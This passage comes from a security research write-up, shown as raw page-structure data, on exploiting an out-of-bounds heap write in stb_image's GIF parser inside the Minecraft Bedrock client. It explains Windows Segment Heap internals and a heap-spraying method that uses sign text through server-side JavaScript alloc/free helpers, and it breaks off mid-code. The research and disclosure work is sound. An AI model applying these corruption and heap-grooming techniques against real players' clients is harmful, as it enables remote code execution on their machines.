itself:",{"type":21,"tag":75,"props":149865,"children":149867},{"code":149866,"language":3918,"meta":7,"className":16935,"style":7},"static stbi_uc *stbi__gif_load_next(...)\n{\n   [...]\n   if (g->out == 0) {\n      if (!stbi__gif_header(s, g, comp,0))     return 0;\n      g->out = (stbi_uc *) stbi__malloc(4 * g->w * g->h);\n",[149868],{"type":21,"tag":66,"props":149869,"children":149870},{"__ignoreMap":7},[149871,149896,149903,149910,149945,149991],{"type":21,"tag":85,"props":149872,"children":149873},{"class":87,"line":88},[149874,149878,149883,149887,149891],{"type":21,"tag":85,"props":149875,"children":149876},{"style":102},[149877],{"type":26,"value":51500},{"type":21,"tag":85,"props":149879,"children":149880},{"style":114},[149881],{"type":26,"value":149882}," stbi_uc ",{"type":21,"tag":85,"props":149884,"children":149885},{"style":169},[149886],{"type":26,"value":3052},{"type":21,"tag":85,"props":149888,"children":149889},{"style":1021},[149890],{"type":26,"value":147809},{"type":21,"tag":85,"props":149892,"children":149893},{"style":114},[149894],{"type":26,"value":149895},"(...)\n",{"type":21,"tag":85,"props":149897,"children":149898},{"class":87,"line":98},[149899],{"type":21,"tag":85,"props":149900,"children":149901},{"style":114},[149902],{"type":26,"value":11296},{"type":21,"tag":85,"props":149904,"children":149905},{"class":87,"line":151},[149906],{"type":21,"tag":85,"props":149907,"children":149908},{"style":114},[149909],{"type":26,"value":148371},{"type":21,"tag":85,"props":149911,"children":149912},{"class":87,"line":160},[149913,149917,149921,149925,149929,149933,149937,149941],{"type":21,"tag":85,"props":149914,"children":149915},{"style":2885},[149916],{"type":26,"value":53100},{"type":21,"tag":85,"props":149918,"children":149919},{"style":114},[149920],{"type":26,"value":717},{"type":21,"tag":85,"props":149922,"children":149923},{"style":120},[149924],{"type":26,"value":109760},{"type":21,"tag":85,"props":149926,"children":149927},{"style":114},[149928],{"type":26,"value":14175},{"type":21,"tag":85,"props":149930,"children":149931},{"style":120},[149932],{"type":26,"value":119183},{"type":21,"tag":85,"props":149934,"children":149935},{"style":169},[149936],{"type":26,"value":2282},{"type":21,"tag":85,"props":149938,"children":149939},{"style":2285},[149940],{"type":26,"value":2830},{"type":21,"tag":85,"props":149942,"children":149943},{"style":114},[149944],{"type":26,"value":15222},{"type":21,"tag":85,"props":149946,"children":149947},{"class":87,"line":185},[149948,149952,149956,149960,149965,149970,149974,149979,149983,149987],{"type":21,"tag":85,"props":149949,"children":149950},{"style":2885},[149951],{"type":26,"value":39735},{"type":21,"tag":85,"props":149953,"children":149954},{"style":114},[149955],{"type":26,"value":717},{"type":21,"tag":85,"props":149957,"children":149958},{"style":169},[149959],{"type":26,"value":21049},{"type":21,"tag":85,"props":149961,"children":149962},{"style":1021},[149963],{"type":26,"value":149964},"stbi__gif_header",{"type":21,"tag":85,"props":149966,"children":149967},{"style":114},[149968],{"type":26,"value":149969},"(s, g, comp,",{"type":21,"tag":85,"props":149971,"children":149972},{"style":2285},[149973],{"type":26,"value":4789},{"type":21,"tag":85,"props":149975,"children":149976},{"style":114},[149977],{"type":26,"value":149978},"))     ",{"type":21,"tag":85,"props":149980,"children":149981},{"style":2885},[149982],{"type":26,"value":48912},{"type":21,"tag":85,"props":149984,"children":149985},{"style":2285},[149986],{"type":26,"value":2830},{"type":21,"tag":85,"props":149988,"children":149989},{"style":114},[149990],{"type":26,"value":2535},{"type":21,"tag":85,"props":149992,"children":149993},{"class":87,"line":501},[149994,149999,150003,150007,150011,150016,150020,150024,150029,150033,150037,150041,150045,150049,150053,150057,150061,150065,150069],{"type":21,"tag":85,"props":149995,"children":149996},{"style":120},[149997],{"type":26,"value":149998},"      g",{"type":21,"tag":85,"props":150000,"children":150001},{"style":114},[150002],{"type":26,"value":14175},{"type":21,"tag":85,"props":150004,"children":150005},{"style":120},[150006],{"type":26,"value":119183},{"type":21,"tag":85,"props":150008,"children":150009},{"style":169},[150010],{"type":26,"value":1941},{"type":21,"tag":85,"props":150012,"children":150013},{"style":114},[150014],{"type":26,"value":150015}," (stbi_uc ",{"type":21,"tag":85,"props":150017,"children":150018},{"style":169},[150019],{"type":26,"value":3052},{"type":21,"tag":85,"props":150021,"children":150022},{"style":114},[150023],{"type":26,"value":736},{"type":21,"tag":85,"props":150025,"children":150026},{"style":1021},[150027],{"type":26,"value":150028},"stbi__malloc",{"type":21,"tag":85,"props":150030,"children":150031},{"style":114},[150032],{"type":26,"value":1439},{"type":21,"tag":85,"props":150034,"children":150035},{"style":2285},[150036],{"type":26,"value":17951},{"type":21,"tag":85,"props":150038,"children":150039},{"style":169},[150040],{"type":26,"value":10231},{"type":21,"tag":85,"props":150042,"children":150043},{"style":120},[150044],{"type":26,"value":148411},{"type":21,"tag":85,"props":150046,"children":150047},{"style":114},[150048],{"type":26,"value":14175},{"type":21,"tag":85,"props":150050,"children":150051},{"style":120},[150052],{"type":26,"value":50027},{"type":21,"tag":85,"props":150054,"children":150055},{"style":169},[150056],{"type":26,"value":10231},{"type":21,"tag":85,"props":150058,"children":150059},{"style":120},[150060],{"type":26,"value":148411},{"type":21,"tag":85,"props":150062,"children":150063},{"style":114},[150064],{"type":26,"value":14175},{"type":21,"tag":85,"props":150066,"children":150067},{"style":120},[150068],{"type":26,"value":84807},{"type":21,"tag":85,"props":150070,"children":150071},{"style":114},[150072],{"type":26,"value":777},{"type":21,"tag":22,"props":150074,"children":150075},{},[150076,150078,150083,150085,150090],{"type":26,"value":150077},"And lastly, to figure out where the OOB bytes are written relative to the allocated buffer, we printed out the address range of ",{"type":21,"tag":66,"props":150079,"children":150081},{"className":150080},[],[150082],{"type":26,"value":148630},{"type":26,"value":150084}," and the value of ",{"type":21,"tag":66,"props":150086,"children":150088},{"className":150087},[],[150089],{"type":26,"value":22},{"type":26,"value":150091}," just before the OOB write happens:",{"type":21,"tag":75,"props":150093,"children":150095},{"code":150094},"g->out address range: [0x75d00d114800, 0x75d00d135800)\n[...]\np: 0x75d00d135800\n",[150096],{"type":21,"tag":66,"props":150097,"children":150098},{"__ignoreMap":7},[150099],{"type":26,"value":150094},{"type":21,"tag":22,"props":150101,"children":150102},{},[150103,150105,150110,150112,150117],{"type":26,"value":150104},"There are multiple within-bound writes to ",{"type":21,"tag":66,"props":150106,"children":150108},{"className":150107},[],[150109],{"type":26,"value":22},{"type":26,"value":150111},", but the last write happens just after the ",{"type":21,"tag":66,"props":150113,"children":150115},{"className":150114},[],[150116],{"type":26,"value":148630},{"type":26,"value":150118}," allocation.",{"type":21,"tag":10022,"props":150120,"children":150122},{"id":150121},"summarizing-the-corruption",[150123],{"type":26,"value":150124},"Summarizing the Corruption",{"type":21,"tag":17108,"props":150126,"children":150127},{},[150128,150141,150169],{"type":21,"tag":845,"props":150129,"children":150130},{},[150131,150133,150139],{"type":26,"value":150132},"A single ",{"type":21,"tag":66,"props":150134,"children":150136},{"className":150135},[],[150137],{"type":26,"value":150138},"0x01",{"type":26,"value":150140}," byte write OOB",{"type":21,"tag":845,"props":150142,"children":150143},{},[150144,150146],{"type":26,"value":150145},"4-byte OOB write just above the allocated buffer\n",{"type":21,"tag":17108,"props":150147,"children":150148},{},[150149,150154,150164],{"type":21,"tag":845,"props":150150,"children":150151},{},[150152],{"type":26,"value":150153},"First three bytes are controllable",{"type":21,"tag":845,"props":150155,"children":150156},{},[150157,150159],{"type":26,"value":150158},"Last byte will be ",{"type":21,"tag":66,"props":150160,"children":150162},{"className":150161},[],[150163],{"type":26,"value":113805},{"type":21,"tag":845,"props":150165,"children":150166},{},[150167],{"type":26,"value":150168},"Size of the allocation is controlled",{"type":21,"tag":845,"props":150170,"children":150171},{},[150172,150174],{"type":26,"value":150173},"Both corruptions are done on a short-lived allocation\n",{"type":21,"tag":17108,"props":150175,"children":150176},{},[150177,150182],{"type":21,"tag":845,"props":150178,"children":150179},{},[150180],{"type":26,"value":150181},"Allocated just before the image-parsing process",{"type":21,"tag":845,"props":150183,"children":150184},{},[150185],{"type":26,"value":150186},"Freed immediately upon parsing completion",{"type":21,"tag":19218,"props":150188,"children":150189},{},[],{"type":21,"tag":22,"props":150191,"children":150192},{},[150193,150195,150202,150204,150211],{"type":26,"value":150194},"Note that this bug was already found before (",{"type":21,"tag":335,"props":150196,"children":150199},{"href":150197,"rel":150198},"https://github.com/nothings/stb/issues/656",[339],[150200],{"type":26,"value":150201},"Github Issue",{"type":26,"value":150203},") but we missed it at the time. It was later fixed in ",{"type":21,"tag":335,"props":150205,"children":150208},{"href":150206,"rel":150207},"https://github.com/nothings/stb/commit/50b1bfba583b12ceb23ef949567bdd914461e524",[339],[150209],{"type":26,"value":150210},"this commit",{"type":26,"value":73},{"type":21,"tag":54,"props":150213,"children":150214},{"id":6186},[150215],{"type":26,"value":6189},{"type":21,"tag":22,"props":150217,"children":150218},{},[150219],{"type":26,"value":150220},"The memory corruption we had wasn't the easiest to exploit, especially on a remote target with ASLR, but it was the only one we had. We could've looked for another bug for information leaks but that wasn't interesting enough - we wanted to see if we can get RCE from the 4-byte memory corruption alone.",{"type":21,"tag":22,"props":150222,"children":150223},{},[150224],{"type":26,"value":150225},"Obviously four bytes alone aren't enough to get remote code execution in this case, so we looked for ways to turn the overflow into stronger primitives.",{"type":21,"tag":10022,"props":150227,"children":150229},{"id":150228},"searching-for-better-primitives",[150230],{"type":26,"value":150231},"Searching for Better Primitives",{"type":21,"tag":22,"props":150233,"children":150234},{},[150235],{"type":26,"value":150236},"The initial idea was to use the 4‑byte OOB to overflow into adjacent heap chunk headers and attack the allocator, but we weren't familiar with Windows allocator internals at the time, so we started investigating.",{"type":21,"tag":22,"props":150238,"children":150239},{},[150240,150242,150249],{"type":26,"value":150241},"We realized that Minecraft uses the Segment Heap - Microsoft's newer heap implementation that is used by the kernel and is the default for packaged / ",{"type":21,"tag":335,"props":150243,"children":150246},{"href":150244,"rel":150245},"https://learn.microsoft.com/en-us/windows/uwp/get-started/universal-application-platform-guide",[339],[150247],{"type":26,"value":150248},"UWP",{"type":26,"value":150250}," applications (such as Minecraft Bedrock Edition).",{"type":21,"tag":10022,"props":150252,"children":150254},{"id":150253},"segment-heap",[150255],{"type":26,"value":150256},"Segment Heap",{"type":21,"tag":22,"props":150258,"children":150259},{},[150260,150262,150269],{"type":26,"value":150261},"The internals of this heap implementation have been explored a number of times before (for an example in ",{"type":21,"tag":335,"props":150263,"children":150266},{"href":150264,"rel":150265},"https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Windows-Heap-Backed-Pool-The-Good-The-Bad-And-The-Encoded.pdf",[339],[150267],{"type":26,"value":150268},"this talk",{"type":26,"value":150270}," by Yarden Shafir), so we'll just summarize the two subsegment types relevant to this writeup.",{"type":21,"tag":19318,"props":150272,"children":150274},{"id":150273},"low-fragmentation-heap",[150275],{"type":26,"value":150276},"Low Fragmentation Heap",{"type":21,"tag":22,"props":150278,"children":150279},{},[150280,150282,150288],{"type":26,"value":150281},"Low Fragmentation Heap (LFH) services allocations of ",{"type":21,"tag":66,"props":150283,"children":150285},{"className":150284},[],[150286],{"type":26,"value":150287},"0x3ff0",{"type":26,"value":150289}," bytes or less when LFH for that size is enabled. LFH for a given size becomes enabled after 17 consecutive allocations of that size.",{"type":21,"tag":22,"props":150291,"children":150292},{},[150293],{"type":26,"value":150294},"Most importantly for us, chunks allocated in this subsegment do not have per‑chunk headers, and data from two adjacent chunks in LFH is not separated by allocator metadata.",{"type":21,"tag":75,"props":150296,"children":150298},{"code":150297},"              +-------------------------+\nChunk A ----->| 41 41 41 41 41 41 41 41 |\n              |                         |\n              | 41 41 41 41 41 41 41 41 |\n              |                         |\n              | 41 41 41 41 41 41 41 41 |\n              |                         |\n              | 41 41 41 41 41 41 41 41 |\n              +-------------------------+\nChunk B ----->| 42 42 42 42 42 42 42 42 |\n              |                         |\n              | 42 42 42 42 42 42 42 42 |\n              |                         |\n              | 42 42 42 42 42 42 . . . |\n              |                         |\n",[150299],{"type":21,"tag":66,"props":150300,"children":150301},{"__ignoreMap":7},[150302],{"type":26,"value":150297},{"type":21,"tag":22,"props":150304,"children":150305},{},[150306],{"type":26,"value":150307},"This means that the 4‑byte OOB write could overwrite the first four bytes of the next chunk above, allowing us to target heap‑allocated internal structures in Minecraft instead of the allocator - the idea being that we could find a structure that has the first field either a reference count or a length field (for example) which we could directly corrupt with the overflow.",{"type":21,"tag":19318,"props":150309,"children":150311},{"id":150310},"variable-size",[150312],{"type":26,"value":150313},"Variable Size",{"type":21,"tag":22,"props":150315,"children":150316},{},[150317,150319,150325,150327,150333],{"type":26,"value":150318},"This subsegment is used for allocation sizes from ",{"type":21,"tag":66,"props":150320,"children":150322},{"className":150321},[],[150323],{"type":26,"value":150324},"0x4000",{"type":26,"value":150326}," and up to ",{"type":21,"tag":66,"props":150328,"children":150330},{"className":150329},[],[150331],{"type":26,"value":150332},"0x20_000",{"type":26,"value":150334},". Unlike LFH, the allocator will store chunk metadata in the headers of the allocated block.",{"type":21,"tag":75,"props":150336,"children":150338},{"code":150337},"                          +-------------------------+\n            Chunk A ----->|  HEAP_VS_CHUNK_HEADER   |\n                          +-------------------------+\nChunk A Data ------------>| 41 41 41 41 41 41 41 41 |\n                          |                         |\n                          | 41 41 41 41 41 41 41 41 |\n                          |                         |\n                          | 41 41 41 41 41 41 41 41 |\n                          +-------------------------+\n            Chunk B ----->|  HEAP_VS_CHUNK_HEADER   |\n                          +-------------------------+\nChunk B Data ------------>| 42 42 42 42 42 42 42 42 |\n                          |                         |\n                          | 42 42 42 42 42 42 42 42 |\n                          |                         |\n                          | 42 42 42 42 42 42 . . . |\n                          |                         |\n",[150339],{"type":21,"tag":66,"props":150340,"children":150341},{"__ignoreMap":7},[150342],{"type":26,"value":150337},{"type":21,"tag":22,"props":150344,"children":150345},{},[150346,150348,150354],{"type":26,"value":150347},"The header, ",{"type":21,"tag":66,"props":150349,"children":150351},{"className":150350},[],[150352],{"type":26,"value":150353},"HEAP_VS_CHUNK_HEADER",{"type":26,"value":150355},", contains information such as block size and allocation status. Crucially, this header is XORed with a secret heap key. That encoding means that, unless the heap key is leaked, faking a chunk header with an overflow is not deterministic.",{"type":21,"tag":19218,"props":150357,"children":150358},{},[],{"type":21,"tag":22,"props":150360,"children":150361},{},[150362],{"type":26,"value":150363},"At this point there were two paths to explore: use the 4‑byte overflow in LFH to target Minecraft structures, or use the overflow in VS to target the allocator.",{"type":21,"tag":22,"props":150365,"children":150366},{},[150367,150369,150376],{"type":26,"value":150368},"Targeting the allocator looked difficult because the VS chunk header is encoded. Fortunately, a ",{"type":21,"tag":335,"props":150370,"children":150373},{"href":150371,"rel":150372},"https://web.archive.org/web/20250117163016/https://labs.bluefrostsecurity.de/blog.html/2022/08/16/windows-segment-heap-attacking-the-vs-allocator/",[339],[150374],{"type":26,"value":150375},"technique published",{"type":26,"value":150377}," by Blue Frost Security describes how to abuse a 3–4 byte overflow in the VS heap to reliably produce overlapping chunks.",{"type":21,"tag":22,"props":150379,"children":150380},{},[150381],{"type":26,"value":150382},"To target Minecraft structures in LFH, we needed to find a heap‑allocated object whose first field could be forged with four bytes (or less) - candidates included a reference counter or a length field. Overwriting such a field could yield a useful primitive (e.g., a use‑after‑free from a corrupted refcount, or a larger overflow / OOB read by corrupting a length field).",{"type":21,"tag":22,"props":150384,"children":150385},{},[150386],{"type":26,"value":150387},"In either case, we needed a way to spray the heap before we could proceed.",{"type":21,"tag":10022,"props":150389,"children":150391},{"id":150390},"finding-a-way-to-spray-the-heap",[150392],{"type":26,"value":150393},"Finding a Way to Spray the Heap",{"type":21,"tag":22,"props":150395,"children":150396},{},[150397],{"type":26,"value":150398},"We needed to find an object that the client allocates in response to a server-controlled action. Ideally, the server would be able to control:",{"type":21,"tag":17108,"props":150400,"children":150401},{},[150402,150407,150412,150417],{"type":21,"tag":845,"props":150403,"children":150404},{},[150405],{"type":26,"value":150406},"The size of the allocation",{"type":21,"tag":845,"props":150408,"children":150409},{},[150410],{"type":26,"value":150411},"The data written into the allocated buffer",{"type":21,"tag":845,"props":150413,"children":150414},{},[150415],{"type":26,"value":150416},"The allocation’s lifetime (i.e., allocated and freed through different server actions)",{"type":21,"tag":845,"props":150418,"children":150419},{},[150420],{"type":26,"value":150421},"The number of created objects (preferably unbounded)",{"type":21,"tag":22,"props":150423,"children":150424},{},[150425],{"type":26,"value":150426},"Not all of these conditions are strictly required, but an object satisfying all of them would be perfect for heap spraying. Eventually, we found exactly what we were looking for.",{"type":21,"tag":19318,"props":150428,"children":150430},{"id":150429},"minecraft-signs",[150431],{"type":26,"value":150432},"Minecraft Signs",{"type":21,"tag":22,"props":150434,"children":150435},{},[150436],{"type":26,"value":150437},"A sign is a block in Minecraft that can display arbitrary text. There is effectively no limit to how many signs can exist in a world (aside from resource constraints), and their lifetime is fully controllable: creating a sign results in an allocation, and removing it frees the associated memory.",{"type":21,"tag":22,"props":150439,"children":150440},{},[150441,150443,150449],{"type":26,"value":150442},"What we were specifically interested in was how the client stores the text displayed on a sign. After reversing the client, we found that the text is stored in a ",{"type":21,"tag":66,"props":150444,"children":150446},{"className":150445},[],[150447],{"type":26,"value":150448},"std::string",{"type":26,"value":73},{"type":21,"tag":22,"props":150451,"children":150452},{},[150453,150455,150460],{"type":26,"value":150454},"In Microsoft’s C++ implementation, ",{"type":21,"tag":66,"props":150456,"children":150458},{"className":150457},[],[150459],{"type":26,"value":150448},{"type":26,"value":150461}," is structured roughly as follows:",{"type":21,"tag":75,"props":150463,"children":150465},{"code":150464,"language":3918,"meta":7,"className":16935,"style":7},"struct string\n{\n    union {\n        char* ptr;\n        char buf[16];\n    };\n    size_t size;\n    size_t capacity;\n};\n",[150466],{"type":21,"tag":66,"props":150467,"children":150468},{"__ignoreMap":7},[150469,150480,150487,150499,150515,150539,150546,150557,150569],{"type":21,"tag":85,"props":150470,"children":150471},{"class":87,"line":88},[150472,150476],{"type":21,"tag":85,"props":150473,"children":150474},{"style":102},[150475],{"type":26,"value":9814},{"type":21,"tag":85,"props":150477,"children":150478},{"style":114},[150479],{"type":26,"value":85506},{"type":21,"tag":85,"props":150481,"children":150482},{"class":87,"line":98},[150483],{"type":21,"tag":85,"props":150484,"children":150485},{"style":114},[150486],{"type":26,"value":11296},{"type":21,"tag":85,"props":150488,"children":150489},{"class":87,"line":151},[150490,150495],{"type":21,"tag":85,"props":150491,"children":150492},{"style":102},[150493],{"type":26,"value":150494},"    union",{"type":21,"tag":85,"props":150496,"children":150497},{"style":114},[150498],{"type":26,"value":148},{"type":21,"tag":85,"props":150500,"children":150501},{"class":87,"line":160},[150502,150507,150511],{"type":21,"tag":85,"props":150503,"children":150504},{"style":102},[150505],{"type":26,"value":150506},"        char",{"type":21,"tag":85,"props":150508,"children":150509},{"style":169},[150510],{"type":26,"value":3052},{"type":21,"tag":85,"props":150512,"children":150513},{"style":114},[150514],{"type":26,"value":16977},{"type":21,"tag":85,"props":150516,"children":150517},{"class":87,"line":185},[150518,150522,150527,150531,150535],{"type":21,"tag":85,"props":150519,"children":150520},{"style":102},[150521],{"type":26,"value":150506},{"type":21,"tag":85,"props":150523,"children":150524},{"style":120},[150525],{"type":26,"value":150526}," buf",{"type":21,"tag":85,"props":150528,"children":150529},{"style":114},[150530],{"type":26,"value":3016},{"type":21,"tag":85,"props":150532,"children":150533},{"style":2285},[150534],{"type":26,"value":41296},{"type":21,"tag":85,"props":150536,"children":150537},{"style":114},[150538],{"type":26,"value":32019},{"type":21,"tag":85,"props":150540,"children":150541},{"class":87,"line":501},[150542],{"type":21,"tag":85,"props":150543,"children":150544},{"style":114},[150545],{"type":26,"value":39445},{"type":21,"tag":85,"props":150547,"children":150548},{"class":87,"line":697},[150549,150553],{"type":21,"tag":85,"props":150550,"children":150551},{"style":102},[150552],{"type":26,"value":16985},{"type":21,"tag":85,"props":150554,"children":150555},{"style":114},[150556],{"type":26,"value":125064},{"type":21,"tag":85,"props":150558,"children":150559},{"class":87,"line":706},[150560,150564],{"type":21,"tag":85,"props":150561,"children":150562},{"style":102},[150563],{"type":26,"value":16985},{"type":21,"tag":85,"props":150565,"children":150566},{"style":114},[150567],{"type":26,"value":150568}," capacity;\n",{"type":21,"tag":85,"props":150570,"children":150571},{"class":87,"line":1100},[150572],{"type":21,"tag":85,"props":150573,"children":150574},{"style":114},[150575],{"type":26,"value":16998},{"type":21,"tag":22,"props":150577,"children":150578},{},[150579,150581,150587,150589,150594],{"type":26,"value":150580},"We are primarily interested in the union: ",{"type":21,"tag":66,"props":150582,"children":150584},{"className":150583},[],[150585],{"type":26,"value":150586},"buf",{"type":26,"value":150588}," is used when the string fits within 16 bytes, while ",{"type":21,"tag":66,"props":150590,"children":150592},{"className":150591},[],[150593],{"type":26,"value":14367},{"type":26,"value":150595}," points to a heap-allocated buffer if the string exceeds that size. The allocated buffer contains only the string’s raw bytes.",{"type":21,"tag":22,"props":150597,"children":150598},{},[150599],{"type":26,"value":150600},"This means that for each sign whose text is longer than 16 bytes, the client allocates a heap buffer equal to the string length.",{"type":21,"tag":22,"props":150602,"children":150603},{},[150604],{"type":26,"value":150605},"This makes signs perfect for our needs - we can fully control the allocation size, lifetime, and contents of the heap buffer.",{"type":21,"tag":19318,"props":150607,"children":150609},{"id":150608},"spraying-with-server-side-scripting",[150610],{"type":26,"value":150611},"Spraying With Server-Side Scripting",{"type":21,"tag":22,"props":150613,"children":150614},{},[150615],{"type":26,"value":150616},"The simplest way to automatically manipulate the world is through server-side behavior packs. These packs are written in JavaScript and can control many aspects of the server.",{"type":21,"tag":22,"props":150618,"children":150619},{},[150620,150622,150628,150629,150635],{"type":26,"value":150621},"We wrote ",{"type":21,"tag":66,"props":150623,"children":150625},{"className":150624},[],[150626],{"type":26,"value":150627},"alloc",{"type":26,"value":11408},{"type":21,"tag":66,"props":150630,"children":150632},{"className":150631},[],[150633],{"type":26,"value":150634},"free",{"type":26,"value":150636}," helpers that trigger an allocation in the client and free it on demand:",{"type":21,"tag":75,"props":150638,"children":150640},{"code":150639,"language":36063,"meta":7,"className":36061,"style":7},"// Allocate sign text in the client\nfunction alloc(size, fill=\"A\") {\n    for (let sign of signs) {\n        if (sign.allocated || sign.removed) {\n            continue;\n        }\n\n        sign.sign.setText(fill.repeat(size - 1));\n        sign.allocated = true;\n        return sign;\n    }\n\n    console.warn(\"No more allocs\");\n    return undefined;\n}\n\n// Free an allocated sign in the client\nfunction free(sign) {\n    if (sign == undefined || sign.allocated == false) {\n        return;\n    }\n\n    sign.sign.setText(\"\");\n    sign.allocated = false;\n\n    sign.block.setPermutation(\n        BlockPermutation.resolve(\"minecraft:air\")\n    );\n    sign.removed = true;\n}\n",[150641],{"type":21,"tag":66,"props":150642,"children":150643},{"__ignoreMap":7},[150644,150652,150694,150727,150772,150784,150791,150798,150859,150886,150901,150908,150915,150944,150959,150966,150973,150981,151005,151056,151067,151074,151081,151118,151145,151152,151181,151211,151218,151245],{"type":21,"tag":85,"props":150645,"children":150646},{"class":87,"line":88},[150647],{"type":21,"tag":85,"props":150648,"children":150649},{"style":92},[150650],{"type":26,"value":150651},"// Allocate sign text in the client\n",{"type":21,"tag":85,"props":150653,"children":150654},{"class":87,"line":98},[150655,150659,150664,150668,150672,150676,150681,150685,150690],{"type":21,"tag":85,"props":150656,"children":150657},{"style":102},[150658],{"type":26,"value":31822},{"type":21,"tag":85,"props":150660,"children":150661},{"style":1021},[150662],{"type":26,"value":150663}," alloc",{"type":21,"tag":85,"props":150665,"children":150666},{"style":114},[150667],{"type":26,"value":1439},{"type":21,"tag":85,"props":150669,"children":150670},{"style":120},[150671],{"type":26,"value":124722},{"type":21,"tag":85,"props":150673,"children":150674},{"style":114},[150675],{"type":26,"value":256},{"type":21,"tag":85,"props":150677,"children":150678},{"style":120},[150679],{"type":26,"value":150680},"fill",{"type":21,"tag":85,"props":150682,"children":150683},{"style":169},[150684],{"type":26,"value":741},{"type":21,"tag":85,"props":150686,"children":150687},{"style":5026},[150688],{"type":26,"value":150689},"\"A\"",{"type":21,"tag":85,"props":150691,"children":150692},{"style":114},[150693],{"type":26,"value":15222},{"type":21,"tag":85,"props":150695,"children":150696},{"class":87,"line":151},[150697,150701,150705,150709,150714,150718,150723],{"type":21,"tag":85,"props":150698,"children":150699},{"style":2885},[150700],{"type":26,"value":3809},{"type":21,"tag":85,"props":150702,"children":150703},{"style":114},[150704],{"type":26,"value":717},{"type":21,"tag":85,"props":150706,"children":150707},{"style":102},[150708],{"type":26,"value":12204},{"type":21,"tag":85,"props":150710,"children":150711},{"style":120},[150712],{"type":26,"value":150713}," sign",{"type":21,"tag":85,"props":150715,"children":150716},{"style":102},[150717],{"type":26,"value":10778},{"type":21,"tag":85,"props":150719,"children":150720},{"style":120},[150721],{"type":26,"value":150722}," signs",{"type":21,"tag":85,"props":150724,"children":150725},{"style":114},[150726],{"type":26,"value":15222},{"type":21,"tag":85,"props":150728,"children":150729},{"class":87,"line":160},[150730,150734,150738,150743,150747,150752,150756,150760,150764,150768],{"type":21,"tag":85,"props":150731,"children":150732},{"style":2885},[150733],{"type":26,"value":4044},{"type":21,"tag":85,"props":150735,"children":150736},{"style":114},[150737],{"type":26,"value":717},{"type":21,"tag":85,"props":150739,"children":150740},{"style":120},[150741],{"type":26,"value":150742},"sign",{"type":21,"tag":85,"props":150744,"children":150745},{"style":114},[150746],{"type":26,"value":73},{"type":21,"tag":85,"props":150748,"children":150749},{"style":120},[150750],{"type":26,"value":150751},"allocated",{"type":21,"tag":85,"props":150753,"children":150754},{"style":169},[150755],{"type":26,"value":24137},{"type":21,"tag":85,"props":150757,"children":150758},{"style":120},[150759],{"type":26,"value":150713},{"type":21,"tag":85,"props":150761,"children":150762},{"style":114},[150763],{"type":26,"value":73},{"type":21,"tag":85,"props":150765,"children":150766},{"style":120},[150767],{"type":26,"value":133427},{"type":21,"tag":85,"props":150769,"children":150770},{"style":114},[150771],{"type":26,"value":15222},{"type":21,"tag":85,"props":150773,"children":150774},{"class":87,"line":185},[150775,150780],{"type":21,"tag":85,"props":150776,"children":150777},{"style":2885},[150778],{"type":26,"value":150779},"            continue",{"type":21,"tag":85,"props":150781,"children":150782},{"style":114},[150783],{"type":26,"value":2535},{"type":21,"tag":85,"props":150785,"children":150786},{"class":87,"line":501},[150787],{"type":21,"tag":85,"props":150788,"children":150789},{"style":114},[150790],{"type":26,"value":4118},{"type":21,"tag":85,"props":150792,"children":150793},{"class":87,"line":697},[150794],{"type":21,"tag":85,"props":150795,"children":150796},{"emptyLinePlaceholder":16},[150797],{"type":26,"value":703},{"type":21,"tag":85,"props":150799,"children":150800},{"class":87,"line":706},[150801,150806,150810,150814,150818,150823,150827,150831,150835,150839,150843,150847,150851,150855],{"type":21,"tag":85,"props":150802,"children":150803},{"style":120},[150804],{"type":26,"value":150805},"        sign",{"type":21,"tag":85,"props":150807,"children":150808},{"style":114},[150809],{"type":26,"value":73},{"type":21,"tag":85,"props":150811,"children":150812},{"style":120},[150813],{"type":26,"value":150742},{"type":21,"tag":85,"props":150815,"children":150816},{"style":114},[150817],{"type":26,"value":73},{"type":21,"tag":85,"props":150819,"children":150820},{"style":1021},[150821],{"type":26,"value":150822},"setText",{"type":21,"tag":85,"props":150824,"children":150825},{"style":114},[150826],{"type":26,"value":1439},{"type":21,"tag":85,"props":150828,"children":150829},{"style":120},[150830],{"type":26,"value":150680},{"type":21,"tag":85,"props":150832,"children":150833},{"style":114},[150834],{"type":26,"value":73},{"type":21,"tag":85,"props":150836,"children":150837},{"style":1021},[150838],{"type":26,"value":133677},{"type":21,"tag":85,"props":150840,"children":150841},{"style":114},[150842],{"type":26,"value":1439},{"type":21,"tag":85,"props":150844,"children":150845},{"style":120},[150846],{"type":26,"value":124722},{"type":21,"tag":85,"props":150848,"children":150849},{"style":169},[150850],{"type":26,"value":51711},{"type":21,"tag":85,"props":150852,"children":150853},{"style":2285},[150854],{"type":26,"value":3279},{"type":21,"tag":85,"props":150856,"children":150857},{"style":114},[150858],{"type":26,"value":1569},{"type":21,"tag":85,"props":150860,"children":150861},{"class":87,"line":1100},[150862,150866,150870,150874,150878,150882],{"type":21,"tag":85,"props":150863,"children":150864},{"style":120},[150865],{"type":26,"value":150805},{"type":21,"tag":85,"props":150867,"children":150868},{"style":114},[150869],{"type":26,"value":73},{"type":21,"tag":85,"props":150871,"children":150872},{"style":120},[150873],{"type":26,"value":150751},{"type":21,"tag":85,"props":150875,"children":150876},{"style":169},[150877],{"type":26,"value":1941},{"type":21,"tag":85,"props":150879,"children":150880},{"style":102},[150881],{"type":26,"value":12886},{"type":21,"tag":85,"props":150883,"children":150884},{"style":114},[150885],{"type":26,"value":2535},{"type":21,"tag":85,"props":150887,"children":150888},{"class":87,"line":1339},[150889,150893,150897],{"type":21,"tag":85,"props":150890,"children":150891},{"style":2885},[150892],{"type":26,"value":16164},{"type":21,"tag":85,"props":150894,"children":150895},{"style":120},[150896],{"type":26,"value":150713},{"type":21,"tag":85,"props":150898,"children":150899},{"style":114},[150900],{"type":26,"value":2535},{"type":21,"tag":85,"props":150902,"children":150903},{"class":87,"line":1348},[150904],{"type":21,"tag":85,"props":150905,"children":150906},{"style":114},[150907],{"type":26,"value":507},{"type":21,"tag":85,"props":150909,"children":150910},{"class":87,"line":1386},[150911],{"type":21,"tag":85,"props":150912,"children":150913},{"emptyLinePlaceholder":16},[150914],{"type":26,"value":703},{"type":21,"tag":85,"props":150916,"children":150917},{"class":87,"line":1394},[150918,150922,150926,150931,150935,150940],{"type":21,"tag":85,"props":150919,"children":150920},{"style":120},[150921],{"type":26,"value":31884},{"type":21,"tag":85,"props":150923,"children":150924},{"style":114},[150925],{"type":26,"value":73},{"type":21,"tag":85,"props":150927,"children":150928},{"style":1021},[150929],{"type":26,"value":150930},"warn",{"type":21,"tag":85,"props":150932,"children":150933},{"style":114},[150934]